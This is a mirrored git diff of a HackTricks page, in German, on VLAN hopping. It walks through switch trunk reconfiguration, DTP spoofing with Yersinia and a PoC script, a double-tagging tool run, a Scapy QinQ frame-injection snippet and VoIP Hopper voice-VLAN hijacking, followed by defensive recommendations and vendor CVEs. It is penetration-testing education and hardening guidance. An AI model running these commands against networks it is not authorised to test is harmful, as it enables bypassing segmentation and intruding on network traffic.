mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
2ef351da28
commit
51b5524250
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für die Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Zunächst ist die Identifizierung des spezifischen verbundenen Ports erforderlich. Dies kann typischerweise durch CDP-Nachrichten oder durch die Suche nach dem Port über die **include**-Maske erreicht werden.
|
||||
|
||||
@ -14,7 +14,7 @@ Vor dem Wechsel in den Trunk-Modus sollte eine Liste der vorhandenen VLANs erste
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
**Der Übergang in den Trunk-Modus beinhaltet das Betreten des Schnittstellenkonfigurationsmodus**:
|
||||
**Der Übergang in den Trunk-Modus umfasst das Betreten des Schnittstellenkonfigurationsmodus**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
@ -24,6 +24,7 @@ Der Wechsel in den Trunk-Modus wird vorübergehend die Konnektivität stören, a
|
||||
|
||||
Virtuelle Schnittstellen werden dann erstellt, VLAN-IDs zugewiesen und aktiviert:
|
||||
```bash
|
||||
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
|
||||
# Modern (ip-link – preferred)
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||
sudo ip link set eth0.10 up
|
||||
sudo ip link set eth0.20 up
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Anschließend wird eine Adressanforderung über DHCP gestellt. Alternativ können in Fällen, in denen DHCP nicht möglich ist, Adressen manuell konfiguriert werden:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Beispiel für das manuelle Festlegen einer statischen IP-Adresse auf einer Schnittstelle (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
# or
|
||||
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||
```
|
||||
Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standard-Gateways für die VLANs 10, 20, 50 und 60 gesendet werden.
|
||||
|
||||
@ -61,22 +71,29 @@ Cisco-Switches, die DTP aktiviert haben, verhandeln gerne einen Trunk, wenn der
|
||||
*Yersinia* und mehrere PoCs automatisieren den Prozess:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Sobald der Port auf Trunk umschaltet, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt gezeigt pivotieren. Moderne Linux-Kernel benötigen kein *vconfig* mehr; verwenden Sie stattdessen *ip link*:
|
||||
Recon-Helfer (passives Fingerprinting des DTP-Zustands des Ports):
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
|
||||
# or
|
||||
|
||||
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||
sudo python3 dtpscan.py -i eth0
|
||||
```
|
||||
Sobald der Port auf Trunk umschaltet, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt beschrieben pivotieren.
|
||||
|
||||
### 2. Double-Tagging (Native-VLAN-Missbrauch)
|
||||
|
||||
Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN "springen", selbst wenn der Port im Access-Modus gesperrt ist. Tools wie **VLANPWN DoubleTagging.py** (2022-2024 Aktualisierung) automatisieren die Injektion:
|
||||
Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN springen, selbst wenn der Port im Access-Modus gesperrt ist. Tools wie **VLANPWN DoubleTagging.py** (2022-2025 Refresh) automatisieren die Injektion:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet-Durchlauf:
|
||||
1. Das äußere Tag (1) wird vom ersten Switch entfernt, da es mit dem nativen VLAN übereinstimmt.
|
||||
2. Das innere Tag (20) ist jetzt sichtbar; der Frame wird über den Trunk in Richtung VLAN 20 weitergeleitet.
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Die Technik funktioniert auch im Jahr 2025 in Netzwerken, die das native VLAN auf dem Standard belassen und ungetaggte Frames akzeptieren.
|
||||
|
||||
### 3. QinQ (802.1ad) Stapelung
|
||||
|
||||
Viele Unternehmenskerne unterstützen *Q-in-Q* Dienstanbieter-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie den 802.1ad Ethertyp 0x88a8 und versuchen Sie, das äußere Tag mit Scapy zu entfernen:
|
||||
Viele Unternehmenskerne unterstützen *Q-in-Q* Service-Provider-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie für Ethertype `0x88a8` und versuchen Sie, das äußere Tag mit Scapy zu entfernen:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
### 4. Voice-VLAN-Hijacking über LLDP/CDP (IP-Phone-Spoofing)
|
||||
|
||||
Corporate-Zugangsports befinden sich oft in einer *„Access + Voice“*-Konfiguration: untagged Daten-VLAN für den Arbeitsplatz und ein getaggtes Voice-VLAN, das über CDP oder LLDP-MED beworben wird. Durch die Nachahmung eines IP-Telefons kann der Angreifer automatisch das VoIP-VLAN entdecken und betreten – selbst wenn DTP deaktiviert ist.
|
||||
|
||||
*VoIP Hopper* (verpackt in Kali 2025.2) unterstützt CDP, DHCP-Optionen **176/242** und vollständiges LLDP-MED-Spoofing:
|
||||
```bash
|
||||
# One-shot discovery & hop
|
||||
sudo voiphopper -i eth0 -f cisco-7940
|
||||
|
||||
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||
sudo voiphopper -i eth0 -z
|
||||
|
||||
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||
```
|
||||
Die Technik umgeht die Trennung von Daten/Sprach und ist im Jahr 2025 auf Unternehmens-Edge-Switches äußerst verbreitet, da LLDP-Auto-Policy standardmäßig bei vielen Modellen aktiviert ist.
|
||||
|
||||
---
|
||||
|
||||
## Defensive Empfehlungen
|
||||
|
||||
1. Deaktivieren Sie DTP an allen benutzerorientierten Ports: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole VLAN** und taggen Sie es: `vlan dot1q tag native`.
|
||||
3. Prune unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Erzwingen Sie Portsicherheit, DHCP-Snooping und dynamische ARP-Inspektion, um unerwünschte Layer-2-Aktivitäten zu begrenzen.
|
||||
5. Bevorzugen Sie private VLANs oder L3-Segmentierung anstelle der ausschließlichen Abhängigkeit von 802.1Q-Trennung.
|
||||
2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole-VLAN** und taggen Sie es: `vlan dot1q tag native`.
|
||||
3. Schneiden Sie unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Erzwingen Sie Portsicherheit, DHCP-Snooping, dynamische ARP-Inspektion **und 802.1X**, um unerwünschte Layer-2-Aktivitäten zu begrenzen.
|
||||
5. Deaktivieren Sie LLDP-MED-Auto-Sprachrichtlinien (oder sperren Sie sie auf authentifizierte MAC-OUI), wenn IP-Phone-Spoofing nicht erforderlich ist.
|
||||
6. Bevorzugen Sie private VLANs oder L3-Segmentierung, anstatt sich ausschließlich auf 802.1Q-Trennung zu verlassen.
|
||||
|
||||
---
|
||||
|
||||
## Reale Anbieteranfälligkeiten (2022-2024)
|
||||
|
||||
Selbst eine perfekt gehärtete Switch-Konfiguration kann durch Firmware-Fehler untergraben werden. Jüngste Beispiele sind:
|
||||
|
||||
* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** erlauben die Einspeisung vom nativen VLAN in nicht-native WLAN-VLANs und umgehen die kabelgebundene/kabellose Segmentierung.
|
||||
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** erlaubt ACL-Umgehung auf SVIs nach dem Umschalten des Resilient Ethernet Protocols, wodurch der Verkehr zwischen VRFs/VLANs geleakt wird. Patch 17.9.5 oder später.
|
||||
|
||||
Überwachen Sie stets die Anbieterhinweise zu VLAN-bezogenen Umgehungs-/ACL-Problemen und halten Sie die Infrastruktur-Images aktuell.
|
||||
|
||||
---
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN Angriffswerkzeug – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- VLANPWN-Angriffswerkzeug – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Was ist VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VoIP Hopper-Projekt – <https://github.com/hmgh0st/voiphopper>
|
||||
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user